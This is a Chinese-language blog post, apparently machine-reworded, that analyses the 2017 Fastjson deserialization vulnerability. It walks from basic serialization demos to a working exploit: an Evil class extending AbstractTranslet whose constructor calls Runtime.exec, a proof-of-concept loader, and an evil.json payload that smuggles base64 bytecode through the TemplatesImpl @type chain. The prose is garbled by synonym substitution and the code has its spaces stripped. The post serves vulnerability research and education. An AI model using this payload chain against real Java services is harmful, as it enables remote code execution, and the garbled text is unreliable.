https://github.com/alibaba/fastjson

Fastjson可以将java的工具转换成json的形式,也可以用来将json转换成java工具,效率较高,被广泛的用在web做事以及android上,它的JSONString()方法可以将java的工具转换成json格式,同样通过parseObject方法可以将json数据转换成java的工具。

大概在4月18号的时候,fastjson进行了一次安全更新,通知布告在这里

debugjsp亲手带你 Debug Fastjson 的平安破绽 Ruby

https://github.com/alibaba/fastjson/wiki/security_update_20170315,

当时对这也不熟习,断断续续看了几天也没什么收成(紧张是由于太菜了TAT)。
最近有人出了poc以及剖析的文章就跟进了一下,漏洞还是挺故意思。

fastjson大略利用先容

工欲善其事,必先利其器,要想研究这个漏洞,就要先要理解这个fastjson是干什么的。
自己研究了一下这个类库。
User.java code如下:

testFastJson.java code如下:

packagefastjsonVul.fastjsonTest;importjava.util.HashMap;importjava.util.Map;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importcom.alibaba.fastjson.serializer.SerializerFeature;importfastjsonVul.fastjsonTest.User;publicclasstestFastJson{publicstaticvoidmain(String[]args){Map<String,Object&gt;map=newHashMap<String,Object>();map.put(&#34;key1","One");map.put("key2","Two");StringmapJson=JSON.toJSONString(map);System.out.println(mapJson);Useruser1=newUser();user1.setUsername("果汁简历");user1.setSex("male");System.out.println("objname:"+user1.getClass().getName());//序列化StringserializedStr=JSON.toJSONString(user1);System.out.println("serializedStr="+serializedStr);StringserializedStr1=JSON.toJSONString(user1,SerializerFeature.WriteClassName);System.out.println("serializedStr1="+serializedStr1);//通过parse方法进行反序列化Useruser2=(User)JSON.parse(serializedStr1);System.out.println(user2.getUsername());System.out.println();//通过parseObject方法进行反序列化通过这种方法返回的是一个JSONObjectObjectobj=JSON.parseObject(serializedStr1);System.out.println(obj);System.out.println("objname:"+obj.getClass().getName()+"\n");//通过这种办法返回的是一个相应的类工具Objectobj1=JSON.parseObject(serializedStr1,Object.class);System.out.println(obj1);System.out.println("obj1name:"+obj1.getClass().getName());}}

输出是这样

{"key1":"One","key2":"Two"}objname:fastjsonVul.fastjsonTest.UserserializedStr={"Sex":"male","Username":"果汁简历","sex":"male","username":"果汁简历"}serializedStr1={"@type":"fastjsonVul.fastjsonTest.User","Sex":"male","Username":"xiaoming","sex":"male","username":"果汁简历"}果汁简历{"Username":"果汁简历","Sex":"male","sex":"male","username":"果汁简历"}objname:com.alibaba.fastjson.JSONObjectfastjsonVul.fastjsonTest.User@18769467obj1name:fastjsonVul.fastjsonTest.UserFastjson漏洞详细

fastjson漏洞涌现的地方也便是JSON.parseObject这个方法上面。

在最开始的时候,只能通过类初始化时候的布局函数或者变量的setter方法实行恶意代码,像是这样

Evil.java

importjava.io.IOException;publicclassEvil{publicStringgetName(){System.out.println("iamgetterName!");returnname;}publicvoidsetName(Stringname){System.out.println("iamsetterName!");this.name=name;}publicStringname;publicintgetAge(){System.out.println("iamgetterAge!");returnage;}publicvoidsetAge(intage){System.out.println("iamsetterAge!");this.age=age;}privateintage;publicEvil()throwsIOException{System.out.println("iamconstructor!");}}

importcom.alibaba.fastjson.JSON;importjava.io.;publicclassApp{publicstaticvoidreadToBuffer(StringBufferbuffer,StringfilePath)throwsIOException{InputStreamis=newFileInputStream(filePath);Stringline;//用来保存每行读取的内容BufferedReaderreader=newBufferedReader(newInputStreamReader(is));line=reader.readLine();//读取第一行while(line!=null){//如果line为空解释读完了buffer.append(line);//将读到的内容添加到buffer中buffer.append("\n");//添加换行符line=reader.readLine();//读取下一行}reader.close();is.close();}publicstaticvoidmain(String[]args)throwsIOException{StringBufferBuffer=newStringBuffer();App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");Objectobj=JSON.parseObject(Buffer.toString());}}

demo.json的内容如下

{"@type":"Evil1","name":"M0rk","age":"20"}

可以看到通过@type"特性",就实行告终构函数以及私有和公有成员变量的getter和setter方法。
但是这貌似还并没有达到我们想要的结果,由于上面的情形是须要我们能够掌握Evil这个类(一样平常是通过文件写入),目前来看不太现实。

还有一种方法便是将编译好的.class或者.jar文件转换成byte[],然后通过defineClass加载byte[]返回class工具。

安全研究职员创造了这个类

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类存在如下的调用链可加载byte[]完成.class文件中工具的实例化,把稳MailCiousClass须要继续AbstractTranslet(在defineTransle方法中存在一个校验)。
更多这个调用链参考链接 https://gist.github.com/frohoff/24af7913611f8406eaf3

如上图所示的攻击调用栈信息,可以看到和TemplatesImpl调用链完备吻合,终极还是通过defineclass加载了bytecodes[]导致了命令实行。

Evil.java

importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;publicclassEvilextendsAbstractTranslet{publicEvil()throwsIOException{Runtime.getRuntime().exec("open/Applications/Calculator.app");}@Overridepublicvoidtransform(DOMdocument,DTMAxisIteratoriterator,SerializationHandlerhandler){}publicvoidtransform(DOMdocument,com.sun.org.apache.xml.internal.serializer.SerializationHandler[]handlers)throwsTransletException{}}

importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.parser.Feature;importorg.apache.commons.io.IOUtils;importorg.apache.commons.codec.binary.Base64;importjava.io.;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;publicclasspoc{publicstaticStringreadClass(Stringcls){ByteArrayOutputStreambos=newByteArrayOutputStream();try{IOUtils.copy(newFileInputStream(newFile(cls)),bos);}catch(IOExceptione){e.printStackTrace();}returnBase64.encodeBase64String(bos.toByteArray());}publicstaticvoidmain(Stringargs[])throwsException{//finalStringevilClassPath="/Users/m0rk/vul/fastjson/src/Evil.class";//StringevilCode=readClass(evilClassPath);//System.out.println(evilCode);StringBufferBuffer=newStringBuffer();App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/evil.json");Objectobj=JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);}}

evil.json

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],"_name":"M0rk","_tfactory":{},"outputProperties":{}}总结

关于这个漏洞的布局还是挺风雅,漏洞的利用条件比较苛刻,如要能够利用,开拓职员对json的处理函数须要是 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

而大部分的开拓可能用用JSON.parse(input)就了事儿了,同时利用了parseObject和Feature.SupportNonPublicField设置的估计不多。
以是说实际环境中挖掘fastjson的这个漏洞该当是可遇不可求。